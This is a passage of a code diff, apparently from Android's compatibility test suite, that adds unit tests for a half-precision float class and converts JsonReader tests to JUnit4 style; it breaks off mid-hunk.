+        assertTrue(Half.lessEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
+        assertTrue(Half.lessEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.lessEquals(toHalf(12.12356f), toHalf(12.12356f)));
+        assertTrue(Half.lessEquals(toHalf(-12.12356f), toHalf(-12.12356f)));
+    }
+
+    @Test
+    public void greater() {
+        assertTrue(Half.greater(POSITIVE_INFINITY, NEGATIVE_INFINITY));
+        assertTrue(Half.greater(POSITIVE_INFINITY, MAX_VALUE));
+        assertFalse(Half.greater(MAX_VALUE, POSITIVE_INFINITY));
+        assertFalse(Half.greater(NEGATIVE_INFINITY, LOWEST_VALUE));
+        assertTrue(Half.greater(LOWEST_VALUE, NEGATIVE_INFINITY));
+        assertFalse(Half.greater(NEGATIVE_ZERO, POSITIVE_ZERO));
+        assertFalse(Half.greater(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertFalse(Half.greater(toHalf(12.3f), NaN));
+        assertFalse(Half.greater(NaN, toHalf(12.3f)));
+        assertTrue(Half.greater(MIN_NORMAL, MIN_VALUE));
+        assertFalse(Half.greater(MIN_VALUE, MIN_NORMAL));
+        assertTrue(Half.greater(toHalf(12.4f), toHalf(12.3f)));
+        assertFalse(Half.greater(toHalf(12.3f), toHalf(12.4f)));
+        assertFalse(Half.greater(toHalf(-12.4f), toHalf(-12.3f)));
+        assertTrue(Half.greater(toHalf(-12.3f), toHalf(-12.4f)));
+        assertTrue(Half.greater((short) 0x3ff, MIN_VALUE));
+    }
+
+    @Test
+    public void greaterEquals() {
+        assertTrue(Half.greaterEquals(POSITIVE_INFINITY, NEGATIVE_INFINITY));
+        assertTrue(Half.greaterEquals(POSITIVE_INFINITY, MAX_VALUE));
+        assertFalse(Half.greaterEquals(MAX_VALUE, POSITIVE_INFINITY));
+        assertFalse(Half.greaterEquals(NEGATIVE_INFINITY, LOWEST_VALUE));
+        assertTrue(Half.greaterEquals(LOWEST_VALUE, NEGATIVE_INFINITY));
+        assertTrue(Half.greaterEquals(NEGATIVE_ZERO, POSITIVE_ZERO));
+        assertTrue(Half.greaterEquals(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertFalse(Half.greaterEquals(toHalf(12.3f), NaN));
+        assertFalse(Half.greaterEquals(NaN, toHalf(12.3f)));
+        assertTrue(Half.greaterEquals(MIN_NORMAL, MIN_VALUE));
+        assertFalse(Half.greaterEquals(MIN_VALUE, MIN_NORMAL));
+        assertTrue(Half.greaterEquals(toHalf(12.4f), toHalf(12.3f)));
+        assertFalse(Half.greaterEquals(toHalf(12.3f), toHalf(12.4f)));
+        assertFalse(Half.greaterEquals(toHalf(-12.4f), toHalf(-12.3f)));
+        assertTrue(Half.greaterEquals(toHalf(-12.3f), toHalf(-12.4f)));
+        assertTrue(Half.greater((short) 0x3ff, MIN_VALUE));
+        assertTrue(Half.lessEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
+        assertTrue(Half.lessEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.lessEquals(toHalf(12.12356f), toHalf(12.12356f)));
+        assertTrue(Half.lessEquals(toHalf(-12.12356f), toHalf(-12.12356f)));
+    }
+
+    @Test
+    public void min() {
+        assertShortEquals(NEGATIVE_INFINITY, Half.min(POSITIVE_INFINITY, NEGATIVE_INFINITY));
+        assertShortEquals(NEGATIVE_ZERO, Half.min(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.min(NaN, LOWEST_VALUE));
+        assertShortEquals(NaN, Half.min(LOWEST_VALUE, NaN));
+        assertShortEquals(NEGATIVE_INFINITY, Half.min(NEGATIVE_INFINITY, LOWEST_VALUE));
+        assertShortEquals(MAX_VALUE, Half.min(POSITIVE_INFINITY, MAX_VALUE));
+        assertShortEquals(MIN_VALUE, Half.min(MIN_VALUE, MIN_NORMAL));
+        assertShortEquals(POSITIVE_ZERO, Half.min(MIN_VALUE, POSITIVE_ZERO));
+        assertShortEquals(POSITIVE_ZERO, Half.min(MIN_NORMAL, POSITIVE_ZERO));
+        assertShortEquals(toHalf(-3.456f), Half.min(toHalf(-3.456f), toHalf(-3.453f)));
+        assertShortEquals(toHalf(3.453f), Half.min(toHalf(3.456f), toHalf(3.453f)));
+    }
+
+    @Test
+    public void max() {
+        assertShortEquals(POSITIVE_INFINITY, Half.max(POSITIVE_INFINITY, NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, Half.max(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.max(NaN, MAX_VALUE));
+        assertShortEquals(NaN, Half.max(MAX_VALUE, NaN));
+        assertShortEquals(LOWEST_VALUE, Half.max(NEGATIVE_INFINITY, LOWEST_VALUE));
+        assertShortEquals(POSITIVE_INFINITY, Half.max(POSITIVE_INFINITY, MAX_VALUE));
+        assertShortEquals(MIN_NORMAL, Half.max(MIN_VALUE, MIN_NORMAL));
+        assertShortEquals(MIN_VALUE, Half.max(MIN_VALUE, POSITIVE_ZERO));
+        assertShortEquals(MIN_NORMAL, Half.max(MIN_NORMAL, POSITIVE_ZERO));
+        assertShortEquals(toHalf(-3.453f), Half.max(toHalf(-3.456f), toHalf(-3.453f)));
+        assertShortEquals(toHalf(3.456f), Half.max(toHalf(3.456f), toHalf(3.453f)));
+    }
+
+    @Test
+    public void numberInterface() {
+        assertEquals(12, Half.valueOf(12.57f).byteValue());
+        assertEquals(12, Half.valueOf(12.57f).shortValue());
+        assertEquals(12, Half.valueOf(12.57f).intValue());
+        assertEquals(12, Half.valueOf(12.57f).longValue());
+        assertEquals(12.57f, Half.valueOf(12.57f).floatValue(), 1e-3f);
+        assertEquals(12.57, Half.valueOf(12.57f).doubleValue(), 1e-3);
+
+        assertEquals(-12, Half.valueOf(-12.57f).byteValue());
+        assertEquals(-12, Half.valueOf(-12.57f).shortValue());
+        assertEquals(-12, Half.valueOf(-12.57f).intValue());
+        assertEquals(-12, Half.valueOf(-12.57f).longValue());
+        assertEquals(-12.57f, Half.valueOf(-12.57f).floatValue(), 1e-3f);
+        assertEquals(-12.57, Half.valueOf(-12.57f).doubleValue(), 1e-3);
+
+        assertEquals(0, Half.valueOf(POSITIVE_ZERO).byteValue());
+        assertEquals(0, Half.valueOf(POSITIVE_ZERO).shortValue());
+        assertEquals(0, Half.valueOf(POSITIVE_ZERO).intValue());
+        assertEquals(0, Half.valueOf(POSITIVE_ZERO).longValue());
+        assertTrue(+0.0f == Half.valueOf(POSITIVE_ZERO).floatValue());
+        assertTrue(+0.0 == Half.valueOf(POSITIVE_ZERO).doubleValue());
+
+        assertEquals(0, Half.valueOf(NEGATIVE_ZERO).byteValue());
+        assertEquals(0, Half.valueOf(NEGATIVE_ZERO).shortValue());
+        assertEquals(0, Half.valueOf(NEGATIVE_ZERO).intValue());
+        assertEquals(0, Half.valueOf(NEGATIVE_ZERO).longValue());
+        assertTrue(-0.0f == Half.valueOf(NEGATIVE_ZERO).floatValue());
+        assertTrue(-0.0 == Half.valueOf(NEGATIVE_ZERO).doubleValue());
+
+        assertEquals(-1, Half.valueOf(POSITIVE_INFINITY).byteValue());
+        assertEquals(-1, Half.valueOf(POSITIVE_INFINITY).shortValue());
+        assertEquals(Integer.MAX_VALUE, Half.valueOf(POSITIVE_INFINITY).intValue());
+        assertEquals(Long.MAX_VALUE, Half.valueOf(POSITIVE_INFINITY).longValue());
+        assertTrue(Float.POSITIVE_INFINITY == Half.valueOf(POSITIVE_INFINITY).floatValue());
+        assertTrue(Double.POSITIVE_INFINITY == Half.valueOf(POSITIVE_INFINITY).doubleValue());
+
+        assertEquals(0, Half.valueOf(NEGATIVE_INFINITY).byteValue());
+        assertEquals(0, Half.valueOf(NEGATIVE_INFINITY).shortValue());
+        assertEquals(Integer.MIN_VALUE, Half.valueOf(NEGATIVE_INFINITY).intValue());
+        assertEquals(Long.MIN_VALUE, Half.valueOf(NEGATIVE_INFINITY).longValue());
+        assertTrue(Float.NEGATIVE_INFINITY == Half.valueOf(NEGATIVE_INFINITY).floatValue());
+        assertTrue(Double.NEGATIVE_INFINITY == Half.valueOf(NEGATIVE_INFINITY).doubleValue());
+
+        assertEquals(0, Half.valueOf(NaN).byteValue());
+        assertEquals(0, Half.valueOf(NaN).shortValue());
+        assertEquals(0, Half.valueOf(NaN).intValue());
+        assertEquals(0, Half.valueOf(NaN).longValue());
+        assertEquals(Float.floatToRawIntBits(Float.NaN),
+                Float.floatToRawIntBits(Half.valueOf(NaN).floatValue()));
+        assertEquals(Double.doubleToRawLongBits(Double.NaN),
+                Double.doubleToRawLongBits(Half.valueOf(NaN).doubleValue()));
+    }
+
+    @SuppressWarnings("PointlessBitwiseExpression")
+    @Test
+    public void bits() {
+        assertEquals(POSITIVE_INFINITY & 0xffff, halfToRawIntBits(POSITIVE_INFINITY));
+        assertEquals(NEGATIVE_INFINITY & 0xffff, halfToRawIntBits(NEGATIVE_INFINITY));
+        assertEquals(POSITIVE_ZERO & 0xffff, halfToRawIntBits(POSITIVE_ZERO));
+        assertEquals(NEGATIVE_ZERO & 0xffff, halfToRawIntBits(NEGATIVE_ZERO));
+        assertEquals(NaN & 0xffff, halfToRawIntBits(NaN));
+        assertEquals(0xfc98, halfToRawIntBits((short) 0xfc98)); // NaN
+        assertEquals(toHalf(12.462f) & 0xffff, halfToRawIntBits(toHalf(12.462f)));
+        assertEquals(toHalf(-12.462f) & 0xffff, halfToRawIntBits(toHalf(-12.462f)));
+
+        assertEquals(POSITIVE_INFINITY & 0xffff, halfToIntBits(POSITIVE_INFINITY));
+        assertEquals(NEGATIVE_INFINITY & 0xffff, halfToIntBits(NEGATIVE_INFINITY));
+        assertEquals(POSITIVE_ZERO & 0xffff, halfToIntBits(POSITIVE_ZERO));
+        assertEquals(NEGATIVE_ZERO & 0xffff, halfToIntBits(NEGATIVE_ZERO));
+        assertEquals(NaN & 0xffff, halfToIntBits(NaN));
+        assertEquals(NaN & 0xffff, halfToIntBits((short) 0xfc98)); // NaN
+        assertEquals(toHalf(12.462f) & 0xffff, halfToIntBits(toHalf(12.462f)));
+        assertEquals(toHalf(-12.462f) & 0xffff, halfToIntBits(toHalf(-12.462f)));
+
+        assertShortEquals(POSITIVE_INFINITY, intBitsToHalf(halfToIntBits(POSITIVE_INFINITY)));
+        assertShortEquals(NEGATIVE_INFINITY, intBitsToHalf(halfToIntBits(NEGATIVE_INFINITY)));
+        assertShortEquals(POSITIVE_ZERO, intBitsToHalf(halfToIntBits(POSITIVE_ZERO)));
+        assertShortEquals(NEGATIVE_ZERO, intBitsToHalf(halfToIntBits(NEGATIVE_ZERO)));
+        assertShortEquals(NaN, intBitsToHalf(halfToIntBits(NaN)));
+        assertShortEquals(NaN, intBitsToHalf(halfToIntBits((short) 0xfc98)));
+        assertShortEquals(toHalf(12.462f), intBitsToHalf(halfToIntBits(toHalf(12.462f))));
+        assertShortEquals(toHalf(-12.462f), intBitsToHalf(halfToIntBits(toHalf(-12.462f))));
+
+        assertShortEquals(POSITIVE_INFINITY, halfToShortBits(POSITIVE_INFINITY));
+        assertShortEquals(NEGATIVE_INFINITY, halfToShortBits(NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, halfToShortBits(POSITIVE_ZERO));
+        assertShortEquals(NEGATIVE_ZERO, halfToShortBits(NEGATIVE_ZERO));
+        assertShortEquals(NaN, halfToShortBits(NaN));
+        assertShortEquals(NaN, halfToShortBits((short) 0xfc98)); // NaN
+        assertShortEquals(toHalf(12.462f), halfToShortBits(toHalf(12.462f)));
+        assertShortEquals(toHalf(-12.462f), halfToShortBits(toHalf(-12.462f)));
+    }
+
+    @Test
+    public void hashCodeGeneration() {
+        assertNotEquals(Half.hashCode(POSITIVE_INFINITY), Half.hashCode(NEGATIVE_INFINITY));
+        assertNotEquals(Half.hashCode(POSITIVE_ZERO), Half.hashCode(NEGATIVE_ZERO));
+        assertNotEquals(Half.hashCode(toHalf(1.999f)), Half.hashCode(toHalf(1.998f)));
+        assertEquals(Half.hashCode(NaN), Half.hashCode((short) 0x7c01));
+        assertEquals(Half.hashCode(NaN), Half.hashCode((short) 0xfc98));
+
+        assertEquals(Half.hashCode(POSITIVE_INFINITY), Half.valueOf(POSITIVE_INFINITY).hashCode());
+        assertEquals(Half.hashCode(NEGATIVE_INFINITY), Half.valueOf(NEGATIVE_INFINITY).hashCode());
+        assertEquals(Half.hashCode(POSITIVE_ZERO), Half.valueOf(POSITIVE_ZERO).hashCode());
+        assertEquals(Half.hashCode(NEGATIVE_ZERO), Half.valueOf(NEGATIVE_ZERO).hashCode());
+        assertEquals(Half.hashCode(NaN), Half.valueOf(NaN).hashCode());
+        assertEquals(Half.hashCode((short) 0xfc98), Half.valueOf((short) 0xfc98).hashCode());
+        assertEquals(Half.hashCode(toHalf(1.999f)), Half.valueOf(1.999f).hashCode());
+    }
+
+    @Test
+    public void constructors() {
+        assertEquals(POSITIVE_INFINITY, new Half(POSITIVE_INFINITY).halfValue());
+        assertEquals(NEGATIVE_INFINITY, new Half(NEGATIVE_INFINITY).halfValue());
+        assertEquals(POSITIVE_ZERO, new Half(POSITIVE_ZERO).halfValue());
+        assertEquals(NEGATIVE_ZERO, new Half(NEGATIVE_ZERO).halfValue());
+        assertEquals(NaN, new Half(NaN).halfValue());
+        assertEquals(toHalf(12.57f), new Half(toHalf(12.57f)).halfValue());
+        assertEquals(toHalf(-12.57f), new Half(toHalf(-12.57f)).halfValue());
+
+        assertEquals(POSITIVE_INFINITY, new Half(Float.POSITIVE_INFINITY).halfValue());
+        assertEquals(NEGATIVE_INFINITY, new Half(Float.NEGATIVE_INFINITY).halfValue());
+        assertEquals(POSITIVE_ZERO, new Half(0.0f).halfValue());
+        assertEquals(NEGATIVE_ZERO, new Half(-0.0f).halfValue());
+        assertEquals(NaN, new Half(Float.NaN).halfValue());
+        assertEquals(toHalf(12.57f), new Half(12.57f).halfValue());
+        assertEquals(toHalf(-12.57f), new Half(-12.57f).halfValue());
+
+        assertEquals(POSITIVE_INFINITY, new Half(Double.POSITIVE_INFINITY).halfValue());
+        assertEquals(NEGATIVE_INFINITY, new Half(Double.NEGATIVE_INFINITY).halfValue());
+        assertEquals(POSITIVE_ZERO, new Half(0.0).halfValue());
+        assertEquals(NEGATIVE_ZERO, new Half(-0.0).halfValue());
+        assertEquals(NaN, new Half(Double.NaN).halfValue());
+        assertEquals(toHalf(12.57f), new Half(12.57).halfValue());
+        assertEquals(toHalf(-12.57f), new Half(-12.57).halfValue());
+
+        assertEquals(POSITIVE_INFINITY, new Half("+Infinity").halfValue());
+        assertEquals(NEGATIVE_INFINITY, new Half("-Infinity").halfValue());
+        assertEquals(POSITIVE_ZERO, new Half("0.0").halfValue());
+        assertEquals(NEGATIVE_ZERO, new Half("-0.0").halfValue());
+        assertEquals(NaN, new Half("NaN").halfValue());
+        assertEquals(toHalf(12.57f), new Half("1257e-2").halfValue());
+        assertEquals(toHalf(-12.57f), new Half("-1257e-2").halfValue());
+    }
+
+    @Test(expected = NumberFormatException.class)
+    public void constructorFailure() {
+        new Half("not a number");
+    }
+
+    @Test
+    public void parse() {
+        assertShortEquals(parseHalf("NaN"), NaN);
+        assertShortEquals(parseHalf("Infinity"), POSITIVE_INFINITY);
+        assertShortEquals(parseHalf("-Infinity"), NEGATIVE_INFINITY);
+        assertShortEquals(parseHalf("0.0"), POSITIVE_ZERO);
+        assertShortEquals(parseHalf("-0.0"), NEGATIVE_ZERO);
+        assertShortEquals(parseHalf("1.0"), toHalf(1.0f));
+        assertShortEquals(parseHalf("-1.0"), toHalf(-1.0f));
+        assertShortEquals(parseHalf("2.0"), toHalf(2.0f));
+        assertShortEquals(parseHalf("256.0"), toHalf(256.0f));
+        assertShortEquals(parseHalf("0.5"), toHalf(0.5f));
+        assertShortEquals(parseHalf("0.25"), toHalf(0.25f));
+        assertShortEquals(parseHalf("65504.0"), MAX_VALUE);
+        assertShortEquals(parseHalf("5.9604645E-8"), MIN_VALUE);
+        assertShortEquals(parseHalf("6.1035156E-5"), MIN_NORMAL);
+        assertShortEquals(parseHalf("-65504.0"), LOWEST_VALUE);
+    }
+
+    @Test(expected = NumberFormatException.class)
+    public void parseFailure() {
+        parseHalf("not a number");
+    }
+
+    @Test
+    public void valueOf() {
+        assertEquals(POSITIVE_INFINITY, Half.valueOf(POSITIVE_INFINITY).halfValue());
+        assertEquals(NEGATIVE_INFINITY, Half.valueOf(NEGATIVE_INFINITY).halfValue());
+        assertEquals(POSITIVE_ZERO, Half.valueOf(POSITIVE_ZERO).halfValue());
+        assertEquals(NEGATIVE_ZERO, Half.valueOf(NEGATIVE_ZERO).halfValue());
+        assertEquals(NaN, Half.valueOf(NaN).halfValue());
+        assertEquals(toHalf(12.57f), Half.valueOf(toHalf(12.57f)).halfValue());
+        assertEquals(toHalf(-12.57f), Half.valueOf(toHalf(-12.57f)).halfValue());
+
+        assertEquals(POSITIVE_INFINITY, Half.valueOf(Float.POSITIVE_INFINITY).halfValue());
+        assertEquals(NEGATIVE_INFINITY, Half.valueOf(Float.NEGATIVE_INFINITY).halfValue());
+        assertEquals(POSITIVE_ZERO, Half.valueOf(0.0f).halfValue());
+        assertEquals(NEGATIVE_ZERO, Half.valueOf(-0.0f).halfValue());
+        assertEquals(NaN, Half.valueOf(Float.NaN).halfValue());
+        assertEquals(toHalf(12.57f), Half.valueOf(12.57f).halfValue());
+        assertEquals(toHalf(-12.57f), Half.valueOf(-12.57f).halfValue());
+
+        assertEquals(POSITIVE_INFINITY, Half.valueOf("+Infinity").halfValue());
+        assertEquals(NEGATIVE_INFINITY, Half.valueOf("-Infinity").halfValue());
+        assertEquals(POSITIVE_ZERO, Half.valueOf("0.0").halfValue());
+        assertEquals(NEGATIVE_ZERO, Half.valueOf("-0.0").halfValue());
+        assertEquals(NaN, Half.valueOf("NaN").halfValue());
+        assertEquals(toHalf(12.57f), Half.valueOf("1257e-2").halfValue());
+        assertEquals(toHalf(-12.57f), Half.valueOf("-1257e-2").halfValue());
+    }
+
+    @Test
+    public void compare() {
+        assertEquals(0, Half.compare(NaN, NaN));
+        assertEquals(0, Half.compare(NaN, (short) 0xfc98));
+        assertEquals(1, Half.compare(NaN, POSITIVE_INFINITY));
+        assertEquals(-1, Half.compare(POSITIVE_INFINITY, NaN));
+
+        assertEquals(0, Half.compare(POSITIVE_INFINITY, POSITIVE_INFINITY));
+        assertEquals(0, Half.compare(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
+        assertEquals(1, Half.compare(POSITIVE_INFINITY, NEGATIVE_INFINITY));
+        assertEquals(-1, Half.compare(NEGATIVE_INFINITY, POSITIVE_INFINITY));
+
+        assertEquals(0, Half.compare(POSITIVE_ZERO, POSITIVE_ZERO));
+        assertEquals(0, Half.compare(NEGATIVE_ZERO, NEGATIVE_ZERO));
+        assertEquals(1, Half.compare(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertEquals(-1, Half.compare(NEGATIVE_ZERO, POSITIVE_ZERO));
+
+        assertEquals(0, Half.compare(toHalf(12.462f), toHalf(12.462f)));
+        assertEquals(0, Half.compare(toHalf(-12.462f), toHalf(-12.462f)));
+        assertEquals(1, Half.compare(toHalf(12.462f), toHalf(-12.462f)));
+        assertEquals(-1, Half.compare(toHalf(-12.462f), toHalf(12.462f)));
+    }
+}
diff --git a/tests/tests/util/src/android/util/cts/JsonReaderTest.java b/tests/tests/util/src/android/util/cts/JsonReaderTest.java
index 5a9b336..9ac3fc3 100644
--- a/tests/tests/util/src/android/util/cts/JsonReaderTest.java
+++ b/tests/tests/util/src/android/util/cts/JsonReaderTest.java
@@ -16,19 +16,31 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.JsonReader;
+import android.util.JsonToken;
+import android.util.MalformedJsonException;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.io.StringReader;
 import java.util.Arrays;
-import junit.framework.TestCase;
 
-import android.util.MalformedJsonException;
-import android.util.JsonReader;
-import android.util.JsonToken;
-
-public final class JsonReaderTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class JsonReaderTest {
 
     private static final int READER_BUFFER_SIZE = 1024;
 
+    @Test
     public void testReadArray() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[true, true]"));
         reader.beginArray();
@@ -38,6 +50,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testReadEmptyArray() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[]"));
         reader.beginArray();
@@ -46,6 +59,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testReadObject() throws IOException {
         JsonReader reader = new JsonReader(new StringReader(
                 "{\"a\": \"android\", \"b\": \"banana\"}"));
@@ -58,6 +72,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testReadEmptyObject() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{}"));
         reader.beginObject();
@@ -66,6 +81,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testSkipObject() throws IOException {
         JsonReader reader = new JsonReader(new StringReader(
                 "{\"a\": { \"c\": [], \"d\": [true, true, {}] }, \"b\": \"banana\"}"));
@@ -78,26 +94,23 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test(expected=IllegalStateException.class)
     public void testSkipBeforeEndOfObject() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{}"));
         reader.beginObject();
-        try {
-            reader.skipValue();
-            fail("Should not be possible to skip without elements.");
-        } catch (IllegalStateException expected) {
-        }
+        // Should not be possible to skip without elements
+        reader.skipValue();
     }
 
+    @Test(expected=IllegalStateException.class)
     public void testSkipBeforeEndOfArray() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[]"));
         reader.beginArray();
-        try {
-            reader.skipValue();
-            fail("Should not be possible to skip without elements.");
-        } catch (IllegalStateException expected) {
-        }
+        // Should not be possible to skip without elements
+        reader.skipValue();
     }
 
+    @Test
     public void testSkipAfterEndOfDocument() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{}"));
         reader.beginObject();
@@ -110,6 +123,7 @@
         }
     }
 
+    @Test
     public void testHelloWorld() throws IOException {
         String json = "{\n" +
                 "   \"hello\": true,\n" +
@@ -127,32 +141,27 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test(expected=NullPointerException.class)
     public void testNulls() {
-        try {
-            new JsonReader(null);
-            fail();
-        } catch (NullPointerException expected) {
-        }
+        new JsonReader(null);
     }
 
-    public void testEmptyString() throws IOException {
-        try {
-            new JsonReader(new StringReader("")).beginArray();
-        } catch (IOException expected) {
-        }
-        try {
-            new JsonReader(new StringReader("")).beginObject();
-        } catch (IOException expected) {
-        }
+    @Test(expected=IOException.class)
+    public void testEmptyString1() throws IOException {
+        new JsonReader(new StringReader("")).beginArray();
     }
 
+    @Test(expected=IOException.class)
+    public void testEmptyString2() throws IOException {
+        new JsonReader(new StringReader("")).beginObject();
+    }
+
+    @Test(expected=IOException.class)
     public void testNoTopLevelObject() throws IOException {
-        try {
-            new JsonReader(new StringReader("true")).nextBoolean();
-        } catch (IOException expected) {
-        }
+        new JsonReader(new StringReader("true")).nextBoolean();
     }
 
+    @Test
     public void testCharacterUnescaping() throws IOException {
         String json = "[\"a\","
                 + "\"a\\\"\","
@@ -199,14 +208,16 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testIntegersWithFractionalPartSpecified() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[1.0,1.0,1.0]"));
         reader.beginArray();
-        assertEquals(1.0, reader.nextDouble());
+        assertEquals(1.0, reader.nextDouble(), 0.0f);
         assertEquals(1, reader.nextInt());
         assertEquals(1L, reader.nextLong());
     }
 
+    @Test
     public void testDoubles() throws IOException {
         String json = "[-0.0,"
                 + "1.0,"
@@ -225,24 +236,25 @@
                 + "]";
         JsonReader reader = new JsonReader(new StringReader(json));
         reader.beginArray();
-        assertEquals(-0.0, reader.nextDouble());
-        assertEquals(1.0, reader.nextDouble());
-        assertEquals(1.7976931348623157E308, reader.nextDouble());
-        assertEquals(4.9E-324, reader.nextDouble());
-        assertEquals(0.0, reader.nextDouble());
-        assertEquals(-0.5, reader.nextDouble());
-        assertEquals(2.2250738585072014E-308, reader.nextDouble());
-        assertEquals(3.141592653589793, reader.nextDouble());
-        assertEquals(2.718281828459045, reader.nextDouble());
-        assertEquals(1,0, reader.nextDouble());
-        assertEquals(11.0, reader.nextDouble());
+        assertEquals(-0.0, reader.nextDouble(), 0.0f);
+        assertEquals(1.0, reader.nextDouble(), 0.0f);
+        assertEquals(1.7976931348623157E308, reader.nextDouble(), 0.0f);
+        assertEquals(4.9E-324, reader.nextDouble(), 0.0f);
+        assertEquals(0.0, reader.nextDouble(), 0.0f);
+        assertEquals(-0.5, reader.nextDouble(), 0.0f);
+        assertEquals(2.2250738585072014E-308, reader.nextDouble(), 0.0f);
+        assertEquals(3.141592653589793, reader.nextDouble(), 0.0f);
+        assertEquals(2.718281828459045, reader.nextDouble(), 0.0f);
+        assertEquals(1.0, reader.nextDouble(), 0.0f);
+        assertEquals(11.0, reader.nextDouble(), 0.0f);
         assertTrue(Double.isNaN(reader.nextDouble()));
-        assertEquals(Double.POSITIVE_INFINITY, reader.nextDouble());
-        assertEquals(Double.NEGATIVE_INFINITY, reader.nextDouble());
+        assertEquals(Double.POSITIVE_INFINITY, reader.nextDouble(), 0.0f);
+        assertEquals(Double.NEGATIVE_INFINITY, reader.nextDouble(), 0.0f);
         reader.endArray();
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testLenientDoubles() throws IOException {
         String json = "["
                 + "011.0,"
@@ -255,7 +267,7 @@
         JsonReader reader = new JsonReader(new StringReader(json));
         reader.setLenient(true);
         reader.beginArray();
-        assertEquals(11.0, reader.nextDouble());
+        assertEquals(11.0, reader.nextDouble(), 0.0f);
         assertTrue(Double.isNaN(reader.nextDouble()));
         try {
             reader.nextDouble();
@@ -263,18 +275,19 @@
         } catch (NumberFormatException expected) {
         }
         assertEquals("NAN", reader.nextString());
-        assertEquals(Double.POSITIVE_INFINITY, reader.nextDouble());
+        assertEquals(Double.POSITIVE_INFINITY, reader.nextDouble(), 0.0f);
         try {
             reader.nextDouble();
             fail();
         } catch (NumberFormatException expected) {
         }
         assertEquals("INFINITY", reader.nextString());
-        assertEquals(Double.NEGATIVE_INFINITY, reader.nextDouble());
+        assertEquals(Double.NEGATIVE_INFINITY, reader.nextDouble(), 0.0f);
         reader.endArray();
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testBufferBoundary() throws IOException {
         char[] pad = new char[READER_BUFFER_SIZE - 8];
         Arrays.fill(pad, '5');
@@ -287,6 +300,7 @@
         assertEquals(33333, reader.nextInt());
     }
 
+    @Test
     public void testTruncatedBufferBoundary() throws IOException {
         char[] pad = new char[READER_BUFFER_SIZE - 8];
         Arrays.fill(pad, '5');
@@ -305,15 +319,17 @@
         }
     }
 
+    @Test
     public void testLongestSupportedNumericLiterals() throws IOException {
-        testLongNumericLiterals(READER_BUFFER_SIZE - 1, JsonToken.NUMBER);
+        verifyLongNumericLiterals(READER_BUFFER_SIZE - 1, JsonToken.NUMBER);
     }
 
+    @Test
     public void testLongerNumericLiterals() throws IOException {
-        testLongNumericLiterals(READER_BUFFER_SIZE, JsonToken.STRING);
+        verifyLongNumericLiterals(READER_BUFFER_SIZE, JsonToken.STRING);
     }
 
-    private void testLongNumericLiterals(int length, JsonToken expectedToken) throws IOException {
+    private void verifyLongNumericLiterals(int length, JsonToken expectedToken) throws IOException {
         char[] longNumber = new char[length];
         Arrays.fill(longNumber, '9');
         longNumber[0] = '1';
@@ -324,10 +340,11 @@
         reader.setLenient(true);
         reader.beginArray();
         assertEquals(expectedToken, reader.peek());
-        assertEquals(2.0d, reader.nextDouble());
+        assertEquals(2.0d, reader.nextDouble(), 0.0f);
         reader.endArray();
     }
 
+    @Test
     public void testLongs() throws IOException {
         String json = "[0,0,0,"
                 + "1,1,1,"
@@ -344,13 +361,13 @@
         reader.beginArray();
         assertEquals(0L, reader.nextLong());
         assertEquals(0, reader.nextInt());
-        assertEquals(0.0, reader.nextDouble());
+        assertEquals(0.0, reader.nextDouble(), 0.0f);
         assertEquals(1L, reader.nextLong());
         assertEquals(1, reader.nextInt());
-        assertEquals(1.0, reader.nextDouble());
+        assertEquals(1.0, reader.nextDouble(), 0.0f);
         assertEquals(-1L, reader.nextLong());
         assertEquals(-1, reader.nextInt());
-        assertEquals(-1.0, reader.nextDouble());
+        assertEquals(-1.0, reader.nextDouble(), 0.0f);
         try {
             reader.nextInt();
             fail();
@@ -372,6 +389,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testHighPrecisionDouble_losesPrecision() throws IOException {
         // The presence of a fractional part forces us to use Double.parseDouble
         // instead of Long.parseLong (even though the fractional part is 0).
@@ -394,6 +412,7 @@
         reader.endArray();
     }
 
+    @Test
     public void testMatchingValidNumbers() throws IOException {
         String json = "[-1,99,-0,0,0e1,0e+1,0e-1,0E1,0E+1,0E-1,0.0,1.0,-1.0,1.0e0,1.0e+1,1.0e-1]";
         JsonReader reader = new JsonReader(new StringReader(json));
@@ -405,6 +424,7 @@
